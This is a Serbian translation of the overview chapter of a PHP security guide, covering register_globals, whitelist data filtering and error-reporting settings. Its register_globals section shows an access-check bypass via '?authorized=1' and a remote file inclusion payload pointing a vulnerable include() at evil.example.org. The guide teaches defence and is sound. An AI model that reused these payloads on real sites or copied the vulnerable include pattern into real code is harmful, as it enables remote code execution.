Vodič za PHP bezbednost (PHP Security Guide): Pregled
< PreviousNext >Procesuiranje formularaTable of Contents
Šta je bezbednost?
-
Bezbednost je mera, ne karakteristika.
Nesreća je što mnogi softverski projekti smatraju bezbednost jednim jednodstavnim zahtevom kome treba izaći u susret. Da li je bezbedno? Ovo pitanje je subjektivno kao kada se pita da li je nešto vruće.
-
Bezbednost mora biti usklađena sa troškovima.
Jednostavno je i relativno jeftino omogućiti dovoljan nivo bezbednosti za većinu aplikacija. Međutim, ako su vam potrebe za bezbednošću veoma visoke, iz razloga što štitite informacije koje su veoma značajne, onda morate obezbediti veći nivo bezbednosti po većoj ceni. Ovi troškovi moraju biti uključeni u budžet projekta.
-
Bezbednost mora biti usklađena sa upotrebljivošću.
Nije neuobičajeno da koraci preuzeti u svrhu povećanja bezbednosti web aplikacije u isto vreme umanjuju njenu upotrebljivost. Šifre, vremenski isteci sesija, i kontrole pristupa kreiraju prepreke za regularnog korisnika. Nekad su ovi postupci neophodni da bi se omogućila adekvatna bezbednost, ali nema jednog rešenja koje je adekvatno za sve aplikacije. Mudro je misliti na vaše regularne korisnike kada uvodite bezbednosne mere.
-
Bezbednost mora biti deo dizajna.
Ako ne dizajnirate vašu aplikaciju razmišljajući o bezbednosti, vi ste osuđeni da redovno reagujete na nove bezbednosne propuste. Pažljivo programiranje ne može da nadoknadi loš dizajn.
Osnovni koraci
-
Razmatrajte neregularna korišćenja vaše aplikacije.
Siguran dizajn je samo deo rešenja. Tokom razvoja, kada se piše kod, važno je razmatrati neregularne upotrebe vaše aplikacije. Često, žiža je na pravljenju aplikacije da radi kako je zamišljeno, i, dok je ovo neophodno da bi se napravila aplikacija koja pravilno funkcioniše, ne čini ništa da bi se aplikacija napravila bezbednom.
-
Obrazujte sebe.
Činjenica da ste ovde je dokaz da vam je stalo do bezbednosti, i, iako to može da zvuči banalno, to je najvažniji korak. Postoje mnogi izvori dostupni na internetu i u štampanom obliku, i nekoliko njih je izlistano u našoj Biblioteci (PHP Security Consortium's Library) na http://phpsec.org/library/.
-
Ako ništa drugo, FILTRIRAJTE SPOLJNE PODATKE.
Filtriranje podataka je kamen temeljac bezbednosti internet aplikacija u bilo kom jeziku i na bilo kojoj platformi. Inicijalizacijom promenljivih i fitriranjem svih podataka koji dolaze iz spoljnog izvora, rešićete većinu bezbednosnih propusta sa veoma malo truda. Pristup "bele liste" je bolji od pristupa "crne liste". Ovo znači da treba da tretirate sve spoljne podatke neispravnim dok se ne pokažu ispravnim (bolje nego da tretirate sve podatke ispravnim dok se ne pokažu neispravnim).
Registracija globalnih promenljivih
Direktiva register_globals je podrazumevano isključena u PHP verziji 4.2.0 i novijim. Iako ne predstavlja bezbednosni propust, ipak je bezbednosni rizik. Zato, uvek treba da razvijate i postavljate aplikacije sa isključenim register_globals.
Zašto je to bezbednosni rizik? Dobar primer je teško dati svima, zato što često zahteva posebnu situaciju da se jasno prikaže rizik. Međutim, najčešći primer je onaj koji se nalazi u PHP priručniku:
<?php
if (authenticated_user())
{
$authorized = true;
}
if ($authorized)
{
include '/highly/sensitive/data.php';
}
?>
Sa uključenim register_globals, ova stranica može biti zahtevana sa ?authorized=1 u stringu upita da bi se zaobišla nameravana kontrola pristupa. Naravno, ovaj navedeni propust je greška programera, ne register_globals, ali objašnjava povećan rizik izazvan direktivom. Bez nje, obične globalne promenljive (poput $authorized u primeru) ne bi bile ugrožene podacima unetim od strane klijenta. Najbolja praksa je inicijalizacija svih varijabli i programiranje sa error_reporting podešenim na E_ALL, tako da korišćenje neinicijalizovane promenljive ne bi bilo previđeno tokom razvoja.
Sledeći primer ilustruje kako register_globals mogu biti problematične u sledećoj upotrebi include sa dinamičkom putanjom:
<?php include "$path/script.php"; ?>
Sa uključenim register_globals, ova stranica može biti zahtevana sa ?path=http%3A%2F%2Fevil.example.org%2F%3F u stringu upita da bi se postigao sledeći rezultat:
<?php include 'http://evil.example.org/?/script.php'; ?>
Ako je uključena allow_url_fopen (a jeste u podrazumevanim podešavanjima, čak i u php.ini-recommended), ovo će priključiti http://evil.example.org/ kao da je u pitanju lokalni fajl. Ovo je veliki bezbednosni propust, i takav je bio pronađen u nekim popularnim open source aplikacijama.
Inicijalizacija promenljive $path može da umanji ovaj navedeni rizik, ali to može takođe i isključivanje register_globals. Budući da greška programera može voditi ka neinicijalizovanoj promenljivoj, isključivanje register_globals je globalna promena konfiguracije koja mnogo ređe može biti previđena.
Ugodnost je lepa, i oni među nama koji su trebali da ručno rukuju podacima iz formulara u prošlosti je cene. Međutim, korišćenje $_POST i $_GET superglobalnih nizova je i dalje veoma ugodno, i nije vredan dodatni rizik uključivanja register_globals. Iako se uopšte ne slažem sa ocenama koje izjednačuju register_globals sa slabom sigurnošću, preporučujem da se isključe.
Dodatno, isključivanje register_globals tera programere da brinu o poreklu podataka, a ovo je bitna karakteristika bilo kog programera koji brine o bezbednosti.
Filtriranje podataka
Kao što je rečeno ranije, filtriranje podataka je kamen temeljac bezbednosti web aplikacija, i to je nezavisno od programskog jezika ili platforme. U sebi sadrži mehanizme pomoću kojih se proverava ispravnost podataka koji ulaze i izlaze iz aplikacije, i dobar dizajn softvera može pomoći programerima da:
-
Osiguraju da filtriranje ne može biti zaobiđeno,
-
Osiguraju da neispravni podaci ne mogu biti prihvaćeni kao ispravni, i
-
Identifikuju poreklo podataka.
Mišljenja o tome kako da se osigura da filtriranje podataka ne može biti zaobiđeno se razlikuju, ali postoje dva osnovna pristupa koji su najčešći, i oba daju dovoljan nivo sigurnosti.
Metoda pošiljke (The Dispatch Method)
Jedan metod je da postoji jedan jedini PHP skript dostupan direktno sa interneta (preko URL - a). Sve ostalo su moduli, koji se priključuju pomoću include ili require naredbi po potrebi. Ovaj metod obično zahteva da GET promenljiva bude prosleđena preko svakog URL - a, identifikujući zadatak. Ova GET promenljiva se može smatrati zamenom za ime skripta koji bi bio korišćen u dosta jednostavnijem dizajnu. Na primer:
http://example.org/dispatch.php?task=print_form
Fajl dispatch.php je jedini fajl u korenu dokumenta. Ovo omogućava programeru da uradi dve važne stvari:
-
Primeni opšte mere zaštite na vrhu dispatch.php i da osigura da se ove mere ne mogu zaobići.
-
Lako vidi da se filtriranje podataka primenjuje kada je potrebno, fokusiranjem na kontrolu toka posebnog zadatka.
Da dodatno objasnimo ovo, razmotrite sledeći primer dispatch.php skripta:
<?php
/* Global security measures */
switch ($_GET['task'])
{
case 'print_form':
include '/inc/presentation/form.inc';
break;
case 'process_form':
$form_valid = false;
include '/inc/logic/process.inc';
if ($form_valid)
{
include '/inc/presentation/end.inc';
}
else
{
include '/inc/presentation/form.inc';
}
break;
default:
include '/inc/presentation/index.inc';
break;
}
?>
Kada bi ovo bio jedini javni PHP skript, onda bili trebalo da bude jasno da dizajn ove aplikacije osigurava da bilo koje opšte bezbednosne mere preduzete na vrhu ne mogu biti zaobiđene. Takođe, omogućava da programer lako vidi kontrolu toka za specifični zadatak. Na primer, umesto da gleda velike količine koda, lako je videti da je end.inc jedini prikazan korisniku kada je $form_valid postavnljen na true, i pošto je inicijalizovana kao false neposredno pre nego što je process.inc priključen, jasno je da logika unutar process.inc mora videti da je postavljen na true, u suprotnom, formular je ponovo prikazan (sa pretpostavljenom prikladnom porukom o grešci).
Note
Ako koristite indeks fajl direktorijuma poput index.php (umesto dispatch.php), možete koristiti URL - ove kao http://example.org/?task=print_form.
Takođe, možete koristiti Apache ForceType direktivu ili mod_rewrite da prilagodite URL - ove poput http://example.org/app/print-form.
Metod priključenja (The Include Method)
Drugi metod je da imate jedan modul koji je odgovoran za sve bezbednosne mere. Ovaj modul je priključen na vrhu (ili veoma blizu vrhu) svih PHP skripti koji su javni (dostupni preko URL - a). Razmotrite sledeći security.inc skript:
<?php
switch ($_POST['form'])
{
case 'login':
$allowed = array();
$allowed[] = 'form';
$allowed[] = 'username';
$allowed[] = 'password';
$sent = array_keys($_POST);
if ($allowed == $sent)
{
include '/inc/logic/process.inc';
}
break;
}
?>
U ovom primeru, za svaki formular koji je prosleđen je očekivano da ima promenljivu po imenu form koja ga jedinstveno identifikuje, i security.inc ima odvojene slučajeve da rukuje filtriranjem podataka za svaki posebni formular. Primer HTML formulara koji odgovara ovim zahtevima je kao što sledi:
<form action="/receive.php" method="POST"> <input type="hidden" name="form" value="login" /> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <input type="submit" /> </form>
Niz po imenu $allowed je korišćen da bi se identifikovalo tačno koja promenljiva form je dozvoljena, i ova lista mora biti identična da bi se formular uopšte obrađivao. Kontrola toka je određena na drugom mestu, i process.inc je mesto gde se konkretno filtriranje podataka događa.
Note
Dobar način da osiguramo da je security.inc uvek priključena na vrhu svakog PHP skripta je da koristimo auto_prepend_file direktivu.
Primeri filtriranja
Važno je imati pristup "bele liste" prilikom filtriranja podataka, i iako je nemoguće dati primer za svaki tip podataka koje možete susresti, nekoliko primera mogu pomoći da ilustrujemo razuman pristup.
Sledeće proverava email adresu:
<?php
$clean = array();
$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
if (preg_match($email_pattern, $_POST['email']))
{
$clean['email'] = $_POST['email'];
}
?>
Sledeće garantuje da je $_POST['color'] red, green, ili blue:
<?php
$clean = array();
switch ($_POST['color'])
{
case 'red':
case 'green':
case 'blue':
$clean['color'] = $_POST['color'];
break;
}
?>
Sledeći primer garantuje da je $_POST['num'] integer (ceo broj):
<?php
$clean = array();
if ($_POST['num'] == strval(intval($_POST['num'])))
{
$clean['num'] = $_POST['num'];
}
?>
Sledeći primer osigurava da je $_POST['num'] broj sa pokretnim zarezom:
<?php
$clean = array();
if ($_POST['num'] == strval(floatval($_POST['num'])))
{
$clean['num'] = $_POST['num'];
}
?>
Pravila davanja imena
Svaki od navedenih primera koristi niz po imenu $clean. Ovo ilustruje dobru praksu koja može pomoći programerima da identifikuju da li je podatak potencijalno štetan. Nikad ne bi trebalo da praktikujete da proverite podatke i ostavite ih u $_POST ili $_GET, zato što je bitno za programere da uvek budu sumnjičavi o podacima iz ovih superglobal nizova.
Dodatno, mnogo slobodnija primena $clean može omogućiti da se da se sve ostavlo smatra štetnim, i ovo bliže podseća na pristup "bele liste" i zato omogućava povišeni stepen bezbednosti.
Ako smeštate podatke u $clean samo nakon što su provereni, jedini rizik u propustu da proverite nešto je da možete da se pozovete na element niza koji ne postoji, nego na potencijalno štetan podatak.
Pravovremenost
Kada počne procesuiranje PHP skripta, kompletan HTTP zahtev je bio primljen. Ovo znači da je korisnik nema drugu priliku da pošalje podatke, i zbog toga nikakvi podaci ne mogu biti ubačeni u vaš skript (čak i ako su register_globals uključene). Zbog toga je inicijalizacija vaših promenljivih tako dobra praksa.
Izveštavanje o greškama
U verzijama PHP pre PHP 5, koja je puštena 13. jula 2004, izveštavanje o greškama je dosta jednostavno. Pored pažljivog programiranja, oslanja se uglavnom na nekoliko specifičnih PHP konfiguracionih direktiva:
-
error_reporting
Ova direktiva podešava nivo izveštavanja o greškama na željeni nivo. Preporučuje se da se ono podesi na E_ALL i za razvoj i za produkciju.
-
display_errors
Ova direktiva određuje da li će greške biti prikazane na ekranu (uključene u izlaz). Uvek bi trebali da razvijate sa ovim podešenim na On, tako da bi ste mogli da budete obavešteni na greške tokom razvoja, i trebalo bi da je podesite na Off za produkciju, tako da se greške sakriju id korisnika (i potencijalnih napadača).
-
log_errors
Ova direktiva određuje da li bi greške trebalo da budu zapisane u dnevnik grešaka. Iako ovo može da potegne pitanje performansi, poželjno je da su greške retke. Ako popisivanje greški predstavlja napor za disk zbog veličine I/O saobraćaja, verovatno imate veće brige od performansi vaše aplikacije. Trebalo bi da je podešeno na On u produkcionim uslovima.
-
error_log
Ova direktiva upućuje na lokaciju fajla dnevnika u kome se upisuju greške. Pobrinite se da web server ima privilegija za pisanje za navedeni fajl.
error_reporting podešeno na E_ALL pomaže da se sprovede inicijalizacija promenljivih, iz razloga što pozivanje na nedefinisanu promenljivu generiše upozorenje.
Note
Svaka od ovih direktiva može biti podešena uz pomoć ini_set(), u slučaju da nemate pristup php.ini fajlu ili drugim metodama za podešavanje ovih direktiva.
Dobra napomena o svih funkcijama koje se bave rukovanjem i obaveštavanjem o greškama je u PHP priručniku:
http://www.php.net/manual/en/ref.errorfunc.php
PHP 5 uvodi rukovanje izuzecima. Za dodatne informacije, pogledajte:
< PreviousNext >Procesuiranje formularaTable of Contents